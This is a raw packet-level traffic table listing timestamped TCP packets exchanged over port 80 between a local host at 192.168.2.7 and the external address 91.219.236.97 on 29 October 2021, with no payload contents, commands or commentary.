Oct 29, 2021 20:30:48.924448967 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.924465895 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.924482107 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.924489975 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.924513102 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.924523115 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.924530029 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.924547911 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.924563885 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.924573898 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.924582005 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.924599886 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.924611092 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.924618006 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.924634933 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.924670935 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.924683094 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.924689054 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.924710035 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.924727917 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.924755096 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.924767017 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.924799919 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.924810886 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.956989050 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.957021952 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.957036018 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.957050085 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.957103014 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.957119942 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.957134008 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.957201004 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.957245111 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.957581043 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.957616091 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.957665920 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.957729101 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.957747936 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.957765102 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.957782984 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.957811117 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.957854033 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.957854986 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.989289045 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.989337921 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.989358902 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.989378929 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.989398956 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.989418030 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.989429951 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.989461899 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.989490986 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.989511013 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.989531994 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.989581108 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.989612103 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.989634037 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.989655972 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.989676952 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.989679098 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:48.989692926 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:48.989717960 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.021275997 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.021368027 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.021414042 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.021425962 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.021471024 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.021480083 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.021666050 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.021684885 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.021725893 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.021728039 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.021742105 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.021905899 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.022371054 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.022387981 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.022399902 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.022418022 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.022433996 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.022437096 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.022449017 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.022471905 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.022483110 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.022485018 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.022512913 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.022538900 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.022548914 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.022567034 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.022581100 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.022605896 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.022742987 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.059062958 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.059089899 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.059107065 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.059123993 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.059139013 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.059154987 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.059166908 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.059182882 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.059199095 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.059214115 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.059226036 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.059242010 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.059257984 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.059273958 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.059273958 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.059290886 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.059308052 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.059324026 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.059362888 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.059392929 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.060647011 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.060714960 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.091727972 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.091757059 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.091768980 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.091782093 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.091958046 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.091985941 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.092005014 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.092017889 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.092030048 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.092109919 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.092154980 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.092170954 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.092190981 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.092207909 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.092256069 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.092288017 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.092329025 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.125118017 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.125149012 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.125164986 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.125181913 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.125197887 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.125214100 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.125230074 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.125246048 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.125262976 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.125276089 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.125294924 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.125332117 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.125350952 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.125355959 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.125368118 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.125380993 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.125385046 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.125403881 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.125413895 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.125417948 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.125453949 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.167687893 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.167716026 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.167732954 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.167747974 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.167763948 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.167781115 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.167795897 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.167810917 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.167826891 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.167841911 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.167853117 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.167857885 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.167874098 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.167890072 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.167907000 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.167911053 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.167922974 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.167937040 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.167937994 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.167960882 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.176439047 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.200747967 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.200774908 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.200792074 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.200808048 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.200896978 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.200968027 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.200983047 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.200999022 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.201036930 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.201117992 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.201136112 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.201150894 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.201174021 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.201174974 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.201199055 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.201342106 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.201381922 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.201397896 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.201400042 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.201417923 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.201431036 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.201443911 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.201459885 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.201488972 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.241096973 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.241126060 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.241138935 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.241152048 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.241277933 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.241513968 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.241580009 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.241580963 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.241601944 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.241614103 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.241626978 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.241640091 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.241652012 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.241652966 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.241667032 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.241681099 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.241683960 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.241698027 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.241709948 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.241714001 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.241722107 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.241734982 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.241741896 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.241748095 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.241759062 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.241769075 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.241791964 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.241811037 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.273829937 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.273854017 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.273868084 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.273880005 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.273963928 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.273983002 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.273998976 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.274015903 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.274028063 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.274044037 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.274059057 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.274071932 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.274076939 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.274090052 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.274105072 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.274107933 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.274115086 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.274125099 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.274137020 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.274159908 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.274185896 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.274198055 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.274229050 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.307020903 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.307064056 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.307085991 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.307099104 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.307118893 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.307147026 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.307173014 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.307193041 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.307219028 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.307246923 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.307276011 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.307275057 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.307290077 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.307312012 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.307339907 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.307367086 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.307394028 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.307419062 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.307429075 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.307435989 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.307439089 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.307442904 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.307446003 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.307466030 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.307490110 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.307507992 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.307535887 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.307562113 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.307580948 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.307691097 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.307714939 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.307718992 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.341528893 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.341586113 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.341628075 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.341665983 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.341705084 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.341728926 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.341742039 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.341767073 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.341782093 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.341820955 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.341836929 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.341861963 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.341875076 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.341902971 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.341939926 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.341952085 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.341979980 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.342019081 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.342031002 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.342056036 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.342094898 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.342097998 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.342133999 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.342174053 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.342175961 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.342215061 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.342246056 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.342257023 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.376693964 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.376745939 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.376804113 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.376835108 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.376898050 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.376929998 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.376959085 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.376990080 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.377027988 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.377058983 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.377090931 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.377123117 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.377130032 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.377152920 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.377186060 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.377217054 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.377240896 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.377276897 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.377284050 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.377310038 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.377321959 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.377352953 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.377355099 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.377393007 CEST	80	49812	91.219.236.97	192.168.2.7
Oct 29, 2021 20:30:49.377427101 CEST	49812	80	192.168.2.7	91.219.236.97
Oct 29, 2021 20:30:49.377433062 CEST	80	49812	91.219.236.97	192.168.2.7
